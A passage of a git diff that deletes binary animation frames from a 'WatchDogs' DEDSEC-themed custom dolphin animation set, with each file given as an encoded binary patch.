zYhjU^TnwUsGT6f=H0@Wn+8aJnlU+LzOTU?LO=2()Ds3rAWDYueSn z=HUnoRKj%(Z`Rk%{a@gqk-||Q$r#erG~WE|3K0;99|QncPW1oz{fHh82>lQNP$n{{ zCf!!Al6{x||NF195EC$Neh?pnO25sjGV9@~8G5+10R%-$bwVCAVz^8 Fhybm<5wQRO diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_16.bm deleted file mode 100644 index edc706d8a0b879eb78aa9c99345df13209255e13..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 696 zcmV;p0!RG;0JH)C6odpYKru)F%K(7@h9N?t22%qN2%uo15s)$BpqU^b&>;XZiAX3w zQW*{+CQ6!Ul}YhXMc= zfCg9!R4M{36PnNn!zh4YqL`rQi^LjG5n12}!vHv$%0m#sABa9W zNcM@Kpi+TCFcSzQPJ0?QsF+}rj1-0qY^h5F=FB)G!@+RYM8fwd-qNba7-4$3UQCcDBB+di*&dP^6Eg zT(Z@4zPjkVaxe`6i0~EZ{qz42go;WFNC%}tRYcpL5P%@#!hi4oyZAKVf)S7bifMDx zceP>U2oQX!AAkS;RxeQcYO9{S{zx961gic&u>7N`M2q eh!o@iQ4*O6fTa+DDvl8(M-T{VfTF2V3Iz~4><8Nb diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_17.bm deleted file mode 100644 index a6f6c2202b567a0dadedf595dea35642e1b50f38..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 684 zcmV;d0#p3~0H^{06#xV>07}6C=^=nZB3OV*P@)1Rf=HsEW57u!AX0=tA`mJDf(QvI z2NH+{C{SEPB`FjnpaxJ_1O|{)7?3>(#{wx3v_uJtBmqv6>|rDI1&P2xf5E#m)dZhC&lC1gLPpLkPG>hJ#R7lmLuC@q$4-5b@Eglpa8_ft!hxAP0g_A;VIT z3=AH;2tEK}I1C^?=vYC}+ykSa7(leJG9Va$hyZhXj8+REgapbcVN8Vr6F|gBBqF!K zO1KyJ1`$3i1&Bf*keGlda1jkaG~iSMsJ?`9TuJnP1Rp@~z+f;y_~|3EXo9&wqXL8v zMhO$%!h{N)DaHar29`vtf%5@~1Yna71;SZQjMAWFasVd76(Q2*z25Qq0Sggef?Q*i zO+Q8hAO;i&iZKdbBG<&Oe>Ut*-j#=#pn8kv z|NjaXtbxQ>3RhRxpF)WGAQex?_8o-}C>4Jn{2eGhq6MgL;8>VQ9GAm@2dBbMfR$kb zO7TyG9syE-rwl+aKye911_v5UgF+x+0Pq8YAc#S+f%7nsoNy3OIZ!wT6e*xx5Hy`I Sn1KuuR6r2Y0Y#CLAc`Qvs{)k( diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_18.bm deleted file mode 100644 index 4f191f31904a119f2b51c687bd1d84fcd326d6b4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmX9-U1(fI7(FvPyF0zvG?VR3OwH2HuB|M~rrbb8AKE&**}}3$xu%;Yh|0#)A_iLq%AXcAjZZSm>3iT&YsAw!cC_;^I1)HuDoR^t1eCK@g zedilct~5wiDivt>4;vid5?-yHQfml68k*J^6OQ93lz}j~>#AHX=Xso zCKIECXy(VEmMn7^F)dM`|6J8o$XPrNCxl?M`Qc+7KiW3V*U*SMG<^# zhmT6mRCX8Xa|+R0QDyCVLJTn0s(c-Z=&+>fMw^MIP|!?8l;BT&Z-Fz%wmYEI@ z%&9pnJCog(#HeOu}$=gf24aQ|Ldf-WL!a~hG63m~fRvT3?(;L^&HAdcC{pAtEV+ik+La1xw zjfSzRj<}0{kldA@|N6DGDO3xefB;TC*!bi#W23YkLMW5L{l@81Auc(gA6t;Tb?D1y zzL968J}8416}^L&~V zKitx~NI7%w3$oCg562hNhl|V@M-%nu*~EonkJWmxx5Ki`pL@?XgQ->Dyj@e1rKl&4 P*5{R+=}tC@M`Qm1-X-|W diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_19.bm deleted file mode 100644 index 4e4f8f42006fef4ab57a866c2aed483220f2ff44..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~fWCnG2kn*kPlW#!(AN|KeF1+Z{3`vg^*>Pfqgws{QuV-JgTGSxRno@- zUvaC{1uDI&{G^|Y{tq~QP|e?$^cBJ%h<+0PK>b1B2T8I273xvyTfx^<_f?M%@`CO{ zy%qW&q&l)aRDTlua!C}GtM3B0C&Y)~_4M_F27Xif|H|Eq=v8h0c?Ee7 z@HzOf#lHfn{Ugx-ifV-pK*O)bU-JLe6I3fszzp^e_z%GU{}r=n$3}N_p^%U3T3z*P)%t(U`10#7D^T$I?+mF{rqBI5FTZ~IsIHU@mHz+w{darD^5LhiFDTRT z{}Jj2x5%mu4j(?Yg1)+(Q~!VeUsh(w>EOjLeSju8{&Usdy_A^)9uHl7t^fMWZ+8Fx zFIHmYVd3GIsv-qZ|KIC>{gH`Vo(>;8RsMS1FZ}(kt8QZE;qc|g#4H8s@JQpo`(ewm4Bc2I^jP{z3%GyaVR?YKPV8a!fHqA%8MIck3q$Q=HJir v-;uh}eCq1?dkz}BKPXU?2xVUC(<_&zuF=)u=;!pZ`Dna5(wFWB@;(8t?uCpL`zIf9Jd&k^BGb9=*X~01F@g z;Ej*}@6UUI>9zmhfAnxUbMO7YdVYWKU-ldxW041^$Nvle>%l3XGMEgY|LXWXJ0a6C zlt2AH2c^seI{TVTfAN3#J#L|~uiwC9{*Qn}9DRBCJiqtP=lcKs1dsr{_uw%I1bRP; z|MVVwf9SBk_tXH8$Uc`;82$jm^1p;c0KTk!{yG1+{X!xRUjOIuua1Mn8X@v}nUr@r z`S?)3?*iSc&%ZeDB8L955cz1GC%;RL|9$sp4#XBcKzUyK;!^&5?|=Kq7-0bN{pUR4 z@xJ|bf9cpPbwKhKkI(h*zkdVceLWGyKK?HHyng@Tv3xJ!^Vk1<+;`zSi@>=gDSiL` z@(_SX9zX+Mh&;Fd?f5;^rXR2Z6huCtQUEC={sD4*lc9h^^Z^XK9^vw@`W2%O5s(4* z;qm#y|3LcwB8Fb65PVnvpfQL4xZwHzCI-L$gNx)oJ#l!0%=lsQ0}t3fqkvSj4Sq*At8Vk|L+CL yiV$<%0SfRy1MYZ0eJ=j-TZ70xUjFz!zlQ<`kxD-S68@Mg`F{wH`=9+u5CK32z%nub diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_20.bm deleted file mode 100644 index 6502e0f518cbef40786fc493e22d944bd1cd822c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 695 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 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_24.bm deleted file mode 100644 index bbce6a9ee0080908174346fe5909e88c660fa26a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 312 zcmV-80muFU05k#rfII=<4*+-rz#ahb2Y@^Q;12*S|L_mk|G*!x{s2E<_yB&u!Tt~M ze_&uB{o%vG`?H<@li3h}q%t1>jwCV<;D-b9AAo|KG7kWNgZKa`?Ff&6A7S!FU<3VrPA_EYL1LFUnzrZ-!NJEMsGz4J|P$h1`>Z>fP>)}Gz}Gg zelLg|BdI8YN4F8Ai@@X<34}746`}{?LGiKaBbtjc_9P#zjXPVvX3YcfVV+_z{P*lo ze;0r6^_wyN7Q(}P<9Ppo_`yYP|L)NKXZR^qj_X&_pPU{rN=>g@S|CmS5v#lX|K9L@ zdWEC=57a<)00oG8sQYkz-9!B$+INBZLrp+Ey`cT0?g$&-{fG7+xCiZj@DJJfe}n)3 NPxbsg!2bYv0)XjNlrjJS diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_26.bm deleted file mode 100644 index af3236d9ac63bbb7427e226fb1a98054daa3e715..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 396 zcmV;70dxKV0EhwqfET_8U_X6X5=hi(0l+tadtNRGQ2p@6#1T_Gjva>__4FM=zKVb)ed>7ZC2aE&82rsI2VDt!Ff`r1H z3=BFk2nalH>DIvMU>r>Z5&#~0NOWKrN`MSO?*Rvw5`8~`1Lpw{!bkVf0DMCr5-cQo za|%e0>>h>Dz-%Ct%9U_F@OcCR<1L40X+ZdxcqF{)*0mi0@%&6@oJ~JG6khgfP<|G_ z?|1I~niayweB*ilfcU{kDu3?Q{69Eo1)A$u(w~F?K~vx1AQr8!Yx*CH{4xV}_x^#< z4;VxSr={nI=l>Y>U%|8h7^e!4w*(=Lsu&>cfCg`+?*sD3g!%*Xr>{2CNUCs-0Dn9C q(ENVh2@+kQ!5+t7-kbKn`2@fE{=h=@1JD&LbO*^@L-ZnWXMh|yNWF0Y diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_27.bm deleted file mode 100644 index 222e52ddb273c66c207be97972a17255f95cc3cc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 663 zcmV;I0%-jK0Fwg$fCm5l-~ayLasUln3ZJU~|E>ic|NH;d0*|}|JAeQ5Dq<1UhsX2@ zKUg_NM}H9)fB*Xe2*^MJ1|R|xL;xefA(0e-1{Wca{>dY+42dL01aA>(9Si+$0*};Sp#($)1)xJ95DyqMe{B`}$lwqe z1qfm{@KE~Lh5O{fU=WCefuvjVfqVad_zuQ|FbxELe-tO1h`-!8a6DiX{lp;nB=Z0d4EQn#MslTIZp88dA<#p! zG@xQ9iw`{bSZNl`X)OEhA^!jI_wR%UafH+M|G%etNc`FK>r?}XF3ouq4k z3qM1l>IotlFMB-+Bk$>+RHz{Z;lcKRLHqv6%s>!$htN19GC!W5EErIz`|rSFz2Rzu z^&dB1e^w4COj#Ch-kN?79AmMLZU-~A>Tm7ul3%;Mhz3nf54F+GL=;he}6wgav4`T###o7Q3U-y3x?)=$64*(G~ VL;b%HckE-}4*+-rz#ahb1OQ9}kB+D5;0Qz?bUZ8v0n`W71_1?t zU^>9)`_$`DNdQ1W@xX+~pa22~Jimec-b3O5`Gn*!Sx7j%U?1Xa7Y7d%gahIS1i&B0 zKRyS{bAT@x{GtK;PQ1ef@q@=?5deJrJ}~ISLJ9bOyu&e4c+cP({`x)V^*xu)|A51joIX5hSC9Whf&2sUmce}e@l6u!Fqe9Sy}`EWK!1^=V_!S{34?}64ID)>J-0 b^|as*04;xh5%33o!X5zd2Y@^Q;12*mZJVI8 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_3.bm deleted file mode 100644 index becbf66b60cda42e128aeb8a447e80e0961db6c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 756 zcmVHq#%decKlpSb(fg%D6gB_;|Bvw* ziA+qx^+K2F_&xsrgT#+K|H=Gc(0J?f_YZ~s?D-h`xc^APkNf-=_UQlb{U-3=|Df^5 z$MgFs{5${G|A)`2b(Lmv;1_#7p{#(!`85C2DgFCXk296$la{_pw^`P_a1@x!Er+Fu>r z|EeE2c>Hho|Kc2HKc|5I_!IJY|FC=V2>a(#jpzS{UoYfben0Gg&mT1-h&*rp5qQP_ z*s}=qc=D5o|Md6%i9BWH^YQjiVgMaq|AjyFN&lEL`1Ruf(Etx!0wM8-{~-U*?!Iu7 zJlK54;{*SGV&zduo&S?R50nr2`Ip%Lzc7LNui^0rh^)MS*U*Q{i@)>_L_Q#q`~I9{ z03Oi231|CiCzgNY7m$2_4e7uA1>_$v0{8d+qWPgjAmH&Yo&NwKk7<1G@DJzQ9Jl{T zeIWi1c!A^p$@zRi;xK@C=fmRz`UC1d3=$xN=kO0J{qY9_@;;ROA3uu!!vFvGgW`Ya mzxcoD_y7oWfBg&m<%K{00<@=K`rv=`13}-MBsw$}xg;RmIjsQz diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_30.bm deleted file mode 100644 index 746d9492e2e5f0d4b7f6dd64f9f9708071e2d2c0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 337 zcmV-X0j~Z508Ih^fII=<3;l#V0e{ekfII=<4*+-rz!yLK1NI;A2loIUurPmv{{Ro% z2tT|yaDM#b;Qh$PK`-wD9DgAQNMd+n-T-~U`U(w$@E~FRfI|cQ2S{ZP3xVo?f%O4^ zNnjn*$^aAZQ;N#4p06lAI1rcw;sJobgPvc&zQ8q;3?u-8;nBdrF_Rbs0Gkku1Os^= zj|buh2EarxQ~U5fX&4DaGJie?#2zt%nB$}N=*RFL^A81xJ~0R&J>l~Y#>f31nn1rm z_Q%;jk{{-FA0Icoev|mM|FL-WbWi$w3lH-TuOB#kc+#uC_YGqQ#Q&RuvH!dFaC~3# zl3QQ)8G;ASziVs%^|z_#01RW(Q~qzdVCet%fQRh?mi!*G4^$jEAP)c(k6bY?xIRHt j07}2CA;-D^X~Apfb^v$+KVc65cmr?Y4*+-rzy_jFno^gi diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_31.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_31.bm deleted file mode 100644 index 045c8f8cb09587d53e08fd9f4cf6d63588b5adcc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 348 zcmV-i0i*r_09XP4fII=<0{;X&0pJe+cmu#50PqKZJODHQz&~OC0Do`+*}s8<&;9!d zKs^8z1Hc3K0uQfv47@mS{`}+Mm+yg7BN-25e<27+Vt8ZT0DZyw5OfAX@DNb`&>+G0 zS)jCF`UQ4jU@!rNgGLJgfCH!RQ;NYV6tD0#zrXwhCIJYLKmqUnm*_9B4kp5YE{IJ7 z0|3HAAsbR`LNE{xr2D^b1}6O4P;3N41t0%VkFiMLN+6W~%p{=jc*X+B432!G3)q-= zCOS%I^0*&~hw8&E&i`xS_t)7!7aZpk{tt-#C-H0ldzaH6>Fz8y!1#b7f5wSj|J|T{ zWwcg1uAkn|jsG$WR@%~o^MBU)qQI1K^`0DyVN(f6svVO0uK35JD$ z#K0sH2m?wb`VH&@39z68$atUlO#qrYNQ5E)A9xHSfFBwCegqGA92)@;(nsgf1KNYi zk${*%Df^gFWWWEk>BcZpSTu4aTwcV(!En}7vy`A&htpyB(9^Y=;q(9X_D|)cp!nbOAT~WOE9yUs z{aw`gggL0aEE|AZ{QCAT>tP7*nhwu+yH*S!Tt~Y z06%ab{_x?!`}2>3_ahkxWPc$DNEhurQSSqF!lwu5C^P*B;6TIY_Xs>50Sr)Jd|>Ge zf#F~<0fB%E-UK)e03I+8IC?zwIIJq62pG=-5*-->N@e;B>;s7~fCJ(aK){0rp@4t_ z%|vh!(7-a0`ScJti86t~0pp~P&*BHz4~(J-PuxPk!Q^L*9&v)0!6TVk;PO>;{=2r@&2?{@BQzG z>n*CW-L+X$@qiP5)PUOdwy&suFZAtQubbWnKmcPNnx2=}{RhZwZ{gYi48zq&+JrCx u(mt^^-i83$zpNqK)Y*Q>z5ts3{1qMW->?vO9`PTc`~lz(LmRRM{s17V5T|Sa diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_34.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_34.bm deleted file mode 100644 index 763c9dadcc52c4349fb4bea0ef4fe15f7a2a14a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 313 zcmV-90ml9T05t*sfII=<4*+-rz#ahb2Y@^Q;12*SfAA0QfIndT0Dpt_1`qrIKVTsK z;N!vj^N)k~BN<0-LK2Y3eZoE9M`uDFfW+{?!}|b-2l@_>$Q~9002o{bfdqg+JmBc_ z=;2UWgdk%)2uuPI0KkLdUx2>AFq;SfJ|Q&>2rz0G2mv++LjdYer@;7u!2#ohkI&)& z_=IpL5K4UF75+}V;{_msM=H7HY)m{CJ#9NtN(ay4Lr%_Tz32F{el9c4CZE0!c>Ra* zXa04*>gbQq_7WTC63$+K{Qs>LyZ?J$@O@4X3qCj#D!umM6P?~fn$MW6?Vi~>p~ YZaWr$9xy-y709*V3E!bi1|?(vfP#a~LI3~& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_36.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_36.bm deleted file mode 100644 index 8ae13fa73ea41be8d88df0baaa249d5c8306a8f7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 519 zcmV+i0{Hy_00RR5fC>Wufk3bn3V(H@2(As~y;6lIsbNwz~=l%8uj{GEJ z0quACSp8P}_x|^Sgd%_bufC<<^zOz85)k-{#-G#Y+UlRb_ym7J^S|ju*Tu=db@6~+7cGq7I#lN4`%EEep z#XqO}U(knI6X+9P^?!>8Fp4C@>;KpCAhyj|xx%CV%fKYHt$04QaEJ!8zwQURRBCb< zq_`BH(EDOEnZ}5WBmXgw%45LUGL5ejlplyff6)q#cf52Jz=z*cQO_cj0N#zBy1oC` z8|P7>9}pNp@z}M?cgw~ACZcO?=l8?#03YR-Y+n!serk&}hHEFntHle$TTJhxw=>`~YR_Isf~3Hxpt_umIaaBp=WQ|3Urlc3S;F J9stE@031Wug21p83ViPdZ|JQUdB61hTQ(yT5#dKjM@Am!uKK-v>wl6&Xt5^Mp$8rvR{=Z9a?QiV1@pJ#{ z^SZy+KlNuJeJl5TzhZxNzw5>iU(@UR5#O$HFu|NW`ZX(QWmeO%!& zU3dTVft^l^EuR1T!}DsS>qvqD5Cm;>xnt}A57A532S#2Go#xkC9~<~Se;Qq2JYVnt zALXw5pYMxyp!~tK=uCv^JfB^gVH@m31`~R!Ixc`3t)$iI4ujqWf!Taz1fBw<^ z?|%1xzx)695BLHzKYRc8_K&~)d>fr}89T%RAPIGdzV6}j+n1z1eb8kxPYz#ahOe}FszK#>g=NdN!< diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_38.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_38.bm deleted file mode 100644 index 855b6d8e3e7e3e05bf88eddc3f58beeb15d2f243..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 317 zcmV-D0mA+P0678wfC>Wug21pA3VwZ%Z1mDObzafbJkGKFEzyI++ z2iSmnQ_}t4`~BGO_`T3W|L{V(vHsA0|N4n2{=fqXiuZxn_mydfwhtOiw>}TQ z-A<-I%`Ufno)70&tUu50uYS-Lm3q9o^mc!KpyChL>({LY&;Wm*Tk5+%U)_1XKUaO} zzYqiM2WR5{{}1ptJOA6i^dX;cZhzlmAMpNw1il~-5BNX89v}4%fIj|@!f%9p0pJe+ Pcmu#50PqKZJOSVe*MF(z diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_39.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_39.bm deleted file mode 100644 index d544b12e02abcb977e32bd5eac9f19be189c7391..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 183 zcmZQ%*v#<1fxEeN(g79Gcs?Gn1m=sU-foC#-~7~>eZTzr?fkv**XOhEuZ!P)GRxk+ zuEO^3-`_dYvwyMeVEF!3U;l^v)Z7(T2bg!?ZO-4ne`{6q@74dBzrX*@|HHoi;lJPQ lyX*MhSJ*emF??Weuwi__&rrd90ENT8p95V8MII}M834pdPS*ec diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_4.bm deleted file mode 100644 index 9f28cb127ca6bf60542d16b567fc96a64e37d562..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 768 zcmV+b1ONO10Q>^~fD-rT|L?&n0AIh~|33%k96nmV_5b<`8u$!=1CId@`UVdl&=_-I zA^vy&;1R$7q2ZDA0|pKP9%g((UH|ld>HqMD&wtJ9gUBW~|A+sg2N)PUdw;O`gUmi! zaCq#^qyGsN{2Dw^DEPqRd-nl`b|Nkx|K0>25u~}|F`4_sgTeoygk*pJSd4ev@F3v- z_;C51hI&skAcw||4>C~h#^e3p=>PEW`Tj5eTmRpm{?13i<4;}+u)pbHv-iK9-TEM5 z|K}lpFaL({_qEyoJ`ep*2cfuCW1s!s?(E^8htwiG{ol@i-jBP49-;B?-2Z<5bU*n& z_XpbNch_^-;vYZ1+&*{q=@3Lde*b^+@BI3SM>?b%|LXtF50S8c{#9{1i4H8`^MHkp zKQLg2gaALIIJ^hW4KEllx8NZJ2z-HJ0T#%B2&y3Q$Am;AAYtK;&=5}H^R+}iAu$dJ zJp<#z1&_=B%m46;#r+Hjpn75P@Zb3R{!l#nVe;~a&%HnK6U+UBAD0Y1L-D`!LF0Y? z2h08C;)lubKZ0?8HR1B&>3`y~zk|t~Ein&|jHEsk(1*^y{U(hJJ~Dg$%6=bB_L`446aSpN9zT8m;65;4{sv2b=uiJq@c98mJ}_VP3W^^u=sf%XK={D_^b8mOkP8uc z2gm9k7!UgrG8_m0->)a1*gkp;jsHMvFVFw>4;=XXs4!so-~Fl)2Z#)L;_?5$FgN@Q z^zQ2d4~YD5FfacAIzR+ph<=Y*7sNh7@xR^u;}nqppg2GH1V99m zAOU25{s=fcm!c1D2n0dr`~4Uf|HBWNP=Da}=8Mz)uRt(-cj5E?wgrOSTmJ$N{*R+X yJkEg+jDPbV{!iWvCLRCcKlBfm06zEs#Q)JB_$kNu5NNo3ei#0LJbobdm;L~XADc)3 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_40.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_40.bm deleted file mode 100644 index f78d8af742e5e920f9b38a8bc48685d97f69d0b8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 137 zcmZQ%Xl3}{z`g(b|EvEOG&8vU`@i+y-@gy8vxxbBQB!1%|DW_ng2TH0sUSlI^8q=A P59|##j1Ty!&*1?8crh}> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_41.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_41.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_5.bm deleted file mode 100644 index c15de6af0d9fdb0924b8bd91c4801b505663364b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 785 zcmV+s1Md6*01X5GfEW4y{eoBkU*Hj6z+->F`; z@u∾Boq2^frC)JoF&Z|4aYd|KZ|6oBR9~k%)f1iB+|6lk1z{R2uAHis6|Km{%L^4lL%}2;U3(yV;n9bS$;d+U2af+g{*Q;x*s>r0-kvWY`Fs?DKU}})hC}iCp2mOp zum3Oo{d!3Qs*;i-+#Z z5@?6Y4i6DHk4!p0(0I$szwgbakra5t|4?%H zkK8^{|L{Faf)XzwJe*<=Kj)-CYw-`mtbM@oZisw=6hW~$8|EK?44>eeaMh_fD#w} zlZVECG>6~1AoYv?gXK5QKtKF&dymQ!Cg6SeV)qZ0CIi8sdjad051-DH(13A)>Lw8Q z!D2B;#3oMgPyQV`P&m#SOMs07*VX^V|KPCP3`37VNH6SSP%1wH0qB7Bf$8=C^7s4- Pj)D;oq?6PDJYD~QdM>Vu diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_6.bm deleted file mode 100644 index a1ec108fa6b997dc0f090402eb433fea7b6982a0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 866 zcmV-o1D*T<0A2(CfDY#=iT%L{0Bdh&S_Q>;LEf^SbK$K%%Sv_y79; 